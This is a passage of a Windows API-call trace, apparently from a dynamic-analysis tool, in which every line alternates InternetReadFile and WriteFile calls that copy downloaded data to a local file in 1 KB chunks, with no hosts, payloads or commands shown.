[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.500] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.500] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.501] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.501] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.502] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.502] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.503] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.503] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.503] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.503] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.503] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.503] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.503] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.503] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.506] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.506] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.506] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.507] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.508] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.508] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.509] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
